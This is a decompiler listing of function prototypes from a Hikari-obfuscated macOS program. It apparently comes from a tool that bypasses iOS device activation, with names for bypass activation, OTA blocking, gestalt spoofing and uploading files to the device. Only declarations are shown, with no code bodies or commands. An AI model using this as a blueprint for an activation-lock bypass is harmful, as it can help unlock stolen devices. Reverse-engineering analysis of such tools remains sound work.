void __cdecl -[AppDelegate refreshDeviceSession](AppDelegate *self, SEL);
__int64 __fastcall eraseDeviceCallback(id a1, int a2);
void __cdecl -[AppDelegate erase_device:](AppDelegate *self, SEL, id);
__int64 __fastcall showOkMessageBasic(id a1); // idb
void __cdecl -[AppDelegate activate_device:](AppDelegate *self, SEL, id);
__int64 __fastcall __31__AppDelegate_activate_device___block_invoke(__int64 a1);
__int64 __fastcall __31__AppDelegate_activate_device___block_invoke_2(__int64 a1);
__int64 __fastcall __31__AppDelegate_activate_device___block_invoke_3(__int64 a1);
__int64 __fastcall __31__AppDelegate_activate_device___block_invoke_4(__int64 a1);
void __cdecl __31__AppDelegate_activate_device___block_invoke_5(id);
void __cdecl -[AppDelegate activate_device_BlockOta:](AppDelegate *self, SEL, id);
__int64 OTA_DISABLED();
__int64 BackupRestore();
void __cdecl -[AppDelegate activate_device_hactivate:](AppDelegate *self, SEL, id);
__int64 __fastcall SendEnableWifiConnections(__int64 a1);
void __cdecl -[AppDelegate activate_device_rq_gst:](AppDelegate *self, SEL, id);
__int64 Close3uTools();
bool MakeFactoryLegacy();
__int64 __fastcall OpenAFCConnection(__int64 a1);
bool __fastcall AFCRemoveFile(__int64 a1, __int64 a2);
bool __fastcall AFCPushMemory(__int64 a1, __int64 a2, __int64 a3, __int64 a4);
__int64 __fastcall AFCClearDownloads(__int64 a1);
__int64 __fastcall UploadBase64FilesFromXML(id a1, __int64 a2);
__int64 __fastcall CloseAFCConnection(__int64 a1);
_BOOL8 isDeviceConnected();
char __fastcall AFCAwaitNonEmptyFile(__int64 a1, const char *a2, int a3);
__int64 __fastcall UploadBase64FilesFromXMLCleaned(void *a1, __int64 a2);
id __fastcall ReadiTunesMetadata(__int64 a1, double a2);
__int64 __fastcall SendGestaltFromServer(id a1); // idb
__int64 __fastcall AFCClearFolders(__int64 a1);
id RequestActivated();
void __cdecl -[AppDelegate activate_device_done:](AppDelegate *self, SEL, id);
__int64 __fastcall executeWithSudo(char *pathToTool, char **arguments); // idb
__int64 __fastcall executeRebootWithMessage(void *a1);
id __fastcall sh(id a1);
id __fastcall clean(id a1);
char checkInternetSharingCompatibility();
void __cdecl -[AppDelegate activate_device_arm64e:](AppDelegate *self, SEL, id);
__int64 isProxyEnabled();
__CFString *__fastcall SendEncryptedCH(id a1, void *a2);
__CFString *__fastcall SendEncryptedLogToServer(void *a1);
id __fastcall ExistFromServer(id a1);
id __cdecl -[AppDelegate collectLogAndExtractGUID](AppDelegate *self, SEL);
id __cdecl -[AppDelegate extractGUIDFromLogArchive:](AppDelegate *self, SEL, id);
char __cdecl -[AppDelegate connectToDevice](AppDelegate *self, SEL);
char __cdecl -[AppDelegate setupAuthorization](AppDelegate *self, SEL);
char __cdecl -[AppDelegate collectLogWithAuthorizationToPath:](AppDelegate *self, SEL, id);
void __cdecl -[AppDelegate lockOtaCheckboxToggled:](AppDelegate *self, SEL, id);
__int64 __fastcall activateByLength(id a1, __int64 a2);
__int64 __fastcall transformLine(id a1); // idb
__int64 __fastcall __ReadiTunesMetadata_block_invoke(__int64 a1, void *a2, void *a3);
__int64 __fastcall __Block_byref_object_copy__1(__int64 a1, __int64 a2);
__int64 __fastcall __Block_byref_object_dispose__1(__int64 a1);
__int64 __fastcall __SendEncryptedCH_block_invoke(__int64 a1, void *a2, __int64 a3, void *a4);
const void **__fastcall __copy_helper_block_e8_32r40r(__int64 a1, __int64 a2);
__int64 __fastcall __destroy_helper_block_e8_32r40r(__int64 a1);
__int64 __fastcall __SendEncryptedLogToServer_block_invoke(__int64 a1, void *a2, __int64 a3, void *a4);
void __cdecl __SendGestaltFromServer_block_invoke(id, NSData *, NSURLResponse *, NSError *);
id __fastcall Base64DecodexXml(id a1);
__CFString *RunIdeviceActivationState();
id returnTempDir();
__int64 __fastcall showOutMessage(id a1); // idb
__int64 __fastcall __showOutMessage_block_invoke(__int64 a1);
__int64 __fastcall __showErrMessage_block_invoke(__int64 a1);
__int64 __fastcall __showOkMessage_block_invoke(__int64 a1);
__int64 __fastcall __showOkMessageBasic_block_invoke(__int64 a1);
void __cdecl -[AppDelegate deviceNotificationChecker](AppDelegate *self, SEL);
__int64 __fastcall __40__AppDelegate_deviceNotificationChecker__block_invoke(__int64 a1);
__int64 __fastcall __40__AppDelegate_deviceNotificationChecker__block_invoke_2(__int64 a1);
void __cdecl -[AppDelegate enableActivateButton](AppDelegate *self, SEL);
__int64 __fastcall __35__AppDelegate_enableActivateButton__block_invoke(__int64 a1);
void __cdecl -[AppDelegate DisableFunctions:](AppDelegate *self, SEL, id);
__int64 __fastcall __32__AppDelegate_DisableFunctions___block_invoke(__int64 a1);
__int64 __fastcall CheckCompatibility(); // weak
__int64 __fastcall sendSecurityAlert(void *a1, void *a2);
__int64 __fastcall __sendSecurityAlert_block_invoke(__int64 a1, void *a2, __int64 a3, __int64 a4);
__int64 __fastcall __copy_helper_block_e8_32s40r(__int64 a1, __int64 a2);
void __fastcall __destroy_helper_block_e8_32s40r(__int64 a1);
__int64 __fastcall __sendSecurityAlert_block_invoke_1794(__int64 a1);
unsigned __int64 __fastcall PinningChallengeHandler(id a1, SEL a2, __int64 a3, void *a4, NSURLCredential *a5);
void __cdecl __sendSecurityAlert_block_invoke_2(id, NSData *, NSURLResponse *, NSError *);
__int64 CheckToolStatus();
__int64 __fastcall __CheckToolStatus_block_invoke(__int64 a1, __int64 a2, __int64 a3, unsigned int a4);
__int64 __fastcall __CheckToolStatus_block_invoke_2(__int64 a1, void *a2, __int64 a3, __int64 a4);
NSTabView *__cdecl -[AppDelegate panel_viewConnection](AppDelegate *self, SEL);
void __cdecl -[AppDelegate setPanel_viewConnection:](AppDelegate *self, SEL, id);
NSImageView *__cdecl -[AppDelegate Model_Image](AppDelegate *self, SEL);
void __cdecl -[AppDelegate setModel_Image:](AppDelegate *self, SEL, id);
NSButton *__cdecl -[AppDelegate activateButton](AppDelegate *self, SEL);
void __cdecl -[AppDelegate setActivateButton:](AppDelegate *self, SEL, id);
NSButton *__cdecl -[AppDelegate EraseButton](AppDelegate *self, SEL);
void __cdecl -[AppDelegate setEraseButton:](AppDelegate *self, SEL, id);
NSButton *__cdecl -[AppDelegate lockOtaChecked](AppDelegate *self, SEL);
void __cdecl -[AppDelegate setLockOtaChecked:](AppDelegate *self, SEL, id);
NSImageView *__cdecl -[AppDelegate backgroundImage](AppDelegate *self, SEL);
void __cdecl -[AppDelegate setBackgroundImage:](AppDelegate *self, SEL, id);
NSImageView *__cdecl -[AppDelegate imageView](AppDelegate *self, SEL);
void __cdecl -[AppDelegate setImageView:](AppDelegate *self, SEL, id);
NSProgressIndicator *__cdecl -[AppDelegate Progress](AppDelegate *self, SEL);
void __cdecl -[AppDelegate setProgress:](AppDelegate *self, SEL, id);
NSProgressIndicator *__cdecl -[AppDelegate progressIndicator](AppDelegate *self, SEL);
void __cdecl -[AppDelegate setProgressIndicator:](AppDelegate *self, SEL, id);
AuthorizationOpaqueRef *__cdecl -[AppDelegate authRef](AppDelegate *self, SEL);
void __cdecl -[AppDelegate setAuthRef:](AppDelegate *self, SEL, AuthorizationOpaqueRef *);
NSWindow *__cdecl -[AppDelegate window](AppDelegate *self, SEL);
void __cdecl -[AppDelegate setWindow:](AppDelegate *self, SEL, id);
NSWindow *__cdecl -[AppDelegate floatingWindow](AppDelegate *self, SEL);
void __cdecl -[AppDelegate setFloatingWindow:](AppDelegate *self, SEL, id);
void __cdecl -[AppDelegate .cxx_destruct](AppDelegate *self, SEL);
id __fastcall HikariFunctionWrapper_10(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_16727(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_16728(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_16729(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_16730(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_16731(void *a1, const char *a2);
__int64 __fastcall HikariFunctionWrapper_16732(__int64 a1);
__int64 __fastcall HikariFunctionWrapper_16733(__int64 a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_16734(NSString *a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_16735(NSString *a1);
id __fastcall HikariFunctionWrapper_16736(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_16737(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_16738(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_16739(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_16740(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_16741(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_16742(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_16743(void *a1, const char *a2);
NSDictionary *HikariFunctionWrapper_16744();
NSDictionary *HikariFunctionWrapper_16745();
id __fastcall HikariFunctionWrapper_16746(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_16747(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_16748(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_16749(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_16750(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_16751(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_16752(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_16753(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_16754(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_16755(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_16756(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_16757(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_16758(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_16759(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_16760(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_16761(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_16762(NSString *a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_16763(NSString *a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_16764(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_16765(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_16766(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_16767(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_16768(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_16769(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_16770(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_16771(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_16772(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_16773(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_16774(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_16775(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_16776(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_16777(void *a1, const char *a2);
Boolean __fastcall HikariFunctionWrapper_16778(const __SCDynamicStore *a1, const __CFString *a2, const void *a3);
Boolean __fastcall HikariFunctionWrapper_16779(const __SCDynamicStore *a1, const __CFString *a2, const void *a3);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_16780(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_16781(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_16782(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_16783(void *a1, const char *a2);
Boolean __fastcall HikariFunctionWrapper_16784(const __SCDynamicStore *a1, const __CFString *a2, const void *a3);
Boolean __fastcall HikariFunctionWrapper_16785(const __SCDynamicStore *a1, const __CFString *a2, const void *a3);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_16786(const void *a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_16787(const void *a1);
id __fastcall HikariFunctionWrapper_16788(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_16789(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_16790(void *a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_16791(void *a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_16792(void *a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_16793(void *a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_16794(void *a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_16795(void *a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_16796(dispatch_queue_s *a1, void *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_16797(dispatch_queue_s *a1, void *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_16798(void *a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_16799(void *a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_16800(void *a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_16801(void *a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_16802(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_16803(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_16804(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_16805(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_16806(dispatch_queue_s *a1, void *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_16807(dispatch_queue_s *a1, void *a2);
id __fastcall HikariFunctionWrapper_16808(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_16809(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_16810(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_16811(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_16812(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_16813(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_16814(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_16815(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_16816(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_16817(void *a1, const char *a2);
void __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_16818();
void __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_16819();
__int64 __fastcall HikariFunctionWrapper_16820(__int64 a1);
__int64 __fastcall HikariFunctionWrapper_16821(__int64 a1);
__int64 __fastcall HikariFunctionWrapper_16822(__int64 a1);
__int64 __fastcall HikariFunctionWrapper_16823(__int64 a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_16824(__int64 a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_16825(__int64 a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_16826(NSString *a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_16827(NSString *a1);
id __fastcall HikariFunctionWrapper_16828(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_16829(void *a1, const char *a2);
CFDataRef __fastcall HikariFunctionWrapper_16830(const __CFAllocator *a1, const void *a2, CFPropertyListFormat a3, CFOptionFlags a4, CFErrorRef *a5);
CFDataRef __fastcall HikariFunctionWrapper_16831(const __CFAllocator *a1, const void *a2, CFPropertyListFormat a3, CFOptionFlags a4, CFErrorRef *a5);
id __fastcall HikariFunctionWrapper_16832(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_16833(void *a1, const char *a2);
__int64 __fastcall HikariFunctionWrapper_16834(__int64 a1);
__int64 __fastcall HikariFunctionWrapper_16835(__int64 a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_16836(NSString *a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_16837(NSString *a1);
__int64 __fastcall HikariFunctionWrapper_16838(__int64 a1);
__int64 __fastcall HikariFunctionWrapper_16839(__int64 a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_16840(NSString *a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_16841(NSString *a1);
__int64 __fastcall HikariFunctionWrapper_16842(__int64 a1);
__int64 __fastcall HikariFunctionWrapper_16843(__int64 a1);
__int64 __fastcall HikariFunctionWrapper_16844(__int64 a1);
__int64 __fastcall HikariFunctionWrapper_16845(__int64 a1);
CFMutableDictionaryRef __fastcall HikariFunctionWrapper_16846(const __CFAllocator *a1, CFIndex a2, const CFDictionaryKeyCallBacks *a3, const CFDictionaryValueCallBacks *a4);
CFMutableDictionaryRef __fastcall HikariFunctionWrapper_16847(const __CFAllocator *a1, CFIndex a2, const CFDictionaryKeyCallBacks *a3, const CFDictionaryValueCallBacks *a4);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_16848(__CFDictionary *a1, const void *a2, const void *a3);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_16849(__CFDictionary *a1, const void *a2, const void *a3);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_16850(const void *a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_16851(const void *a1);
__int64 __fastcall HikariFunctionWrapper_16852(__int64 a1);
__int64 __fastcall HikariFunctionWrapper_16853(__int64 a1);
__int64 __fastcall HikariFunctionWrapper_16854(__int64 a1);
__int64 __fastcall HikariFunctionWrapper_16855(__int64 a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_16856(const void *a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_16857(const void *a1);
CFPropertyListRef __fastcall HikariFunctionWrapper_16858(const __CFAllocator *a1, const __CFData *a2, CFOptionFlags a3, CFPropertyListFormat *a4, CFErrorRef *a5);
CFPropertyListRef __fastcall HikariFunctionWrapper_16859(const __CFAllocator *a1, const __CFData *a2, CFOptionFlags a3, CFPropertyListFormat *a4, CFErrorRef *a5);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_16860(const void *a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_16861(const void *a1);
id __fastcall HikariFunctionWrapper_16862(objc_class *a1);
id __fastcall HikariFunctionWrapper_16863(objc_class *a1);
id __fastcall HikariFunctionWrapper_16864(objc_class *a1);
id __fastcall HikariFunctionWrapper_16865(objc_class *a1);
id __fastcall HikariFunctionWrapper_16866(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_16867(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_16868(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_16869(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_16870(const void *a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_16871(const void *a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_16872(NSString *a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_16873(NSString *a1);
__int64 __fastcall HikariFunctionWrapper_16874(__int64 a1);
__int64 __fastcall HikariFunctionWrapper_16875(__int64 a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_16876(const void *a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_16877(const void *a1);
void *__fastcall HikariFunctionWrapper_16878(size_t a1);
void *__fastcall HikariFunctionWrapper_16879(size_t a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_16880(void *a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_16881(void *a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_16882(void *a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_16883(void *a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_16884(NSString *a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_16885(NSString *a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_16886(__CFDictionary *a1, const void *a2, const void *a3);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_16887(__CFDictionary *a1, const void *a2, const void *a3);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_16888(NSString *a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_16889(NSString *a1);
__int64 __fastcall HikariFunctionWrapper_16890(__int64 a1);
__int64 __fastcall HikariFunctionWrapper_16891(__int64 a1);
__int64 __fastcall HikariFunctionWrapper_16892(__int64 a1);
__int64 __fastcall HikariFunctionWrapper_16893(__int64 a1);
void *__fastcall HikariFunctionWrapper_16894(size_t a1);
void *__fastcall HikariFunctionWrapper_16895(size_t a1);
__int64 __fastcall HikariFunctionWrapper_16896(__int64 a1);
__int64 __fastcall HikariFunctionWrapper_16897(__int64 a1);
CFDataRef __fastcall HikariFunctionWrapper_16898(const __CFAllocator *a1, const UInt8 *a2, CFIndex a3);
CFDataRef __fastcall HikariFunctionWrapper_16899(const __CFAllocator *a1, const UInt8 *a2, CFIndex a3);
CFPropertyListRef __fastcall HikariFunctionWrapper_16900(const __CFAllocator *a1, const __CFData *a2, CFOptionFlags a3, CFPropertyListFormat *a4, CFErrorRef *a5);
CFPropertyListRef __fastcall HikariFunctionWrapper_16901(const __CFAllocator *a1, const __CFData *a2, CFOptionFlags a3, CFPropertyListFormat *a4, CFErrorRef *a5);
CFTypeID HikariFunctionWrapper_16902();
CFTypeID HikariFunctionWrapper_16903();
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_16904(NSString *a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_16905(NSString *a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_16906(NSString *a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_16907(NSString *a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_16908(const void *a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_16909(const void *a1);
id __fastcall HikariFunctionWrapper_16910(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_16911(void *a1, const char *a2);
CFMutableDictionaryRef __fastcall HikariFunctionWrapper_16912(const __CFAllocator *a1, CFIndex a2, const CFDictionaryKeyCallBacks *a3, const CFDictionaryValueCallBacks *a4);
CFMutableDictionaryRef __fastcall HikariFunctionWrapper_16913(const __CFAllocator *a1, CFIndex a2, const CFDictionaryKeyCallBacks *a3, const CFDictionaryValueCallBacks *a4);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_16914(__CFDictionary *a1, const void *a2, const void *a3);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_16915(__CFDictionary *a1, const void *a2, const void *a3);
CFDataRef __fastcall HikariFunctionWrapper_16916(const __CFAllocator *a1, const void *a2, CFPropertyListFormat a3, CFOptionFlags a4, CFErrorRef *a5);
CFDataRef __fastcall HikariFunctionWrapper_16917(const __CFAllocator *a1, const void *a2, CFPropertyListFormat a3, CFOptionFlags a4, CFErrorRef *a5);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_16918(const void *a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_16919(const void *a1);
__int64 __fastcall HikariFunctionWrapper_16920(__int64 a1);
__int64 __fastcall HikariFunctionWrapper_16921(__int64 a1);
__int64 __fastcall HikariFunctionWrapper_16922(__int64 a1);
__int64 __fastcall HikariFunctionWrapper_16923(__int64 a1);
__int64 __fastcall HikariFunctionWrapper_16924(__int64 a1);
__int64 __fastcall HikariFunctionWrapper_16925(__int64 a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_16926(void *a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_16927(void *a1);
CFTypeID __fastcall HikariFunctionWrapper_16928(const void *a1);
CFTypeID __fastcall HikariFunctionWrapper_16929(const void *a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_16930(NSString *a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_16931(NSString *a1);
const void *__fastcall HikariFunctionWrapper_16932(const __CFDictionary *a1, const void *a2);
const void *__fastcall HikariFunctionWrapper_16933(const __CFDictionary *a1, const void *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_16934(const void *a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_16935(const void *a1);
void *__fastcall HikariFunctionWrapper_16936(size_t a1);
void *__fastcall HikariFunctionWrapper_16937(size_t a1);
void *__fastcall HikariFunctionWrapper_16938(size_t a1);
void *__fastcall HikariFunctionWrapper_16939(size_t a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_16940(const __CFDictionary *a1, const void **a2, const void **a3);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_16941(const __CFDictionary *a1, const void **a2, const void **a3);
const void *__fastcall HikariFunctionWrapper_16942(const __CFDictionary *a1, const void *a2);
const void *__fastcall HikariFunctionWrapper_16943(const __CFDictionary *a1, const void *a2);
id __fastcall HikariFunctionWrapper_16944(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_16945(void *a1, const char *a2);
void __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_16946();
void __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_16947();
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_16948(NSString *a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_16949(NSString *a1);
id __fastcall HikariFunctionWrapper_16950(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_16951(void *a1, const char *a2);
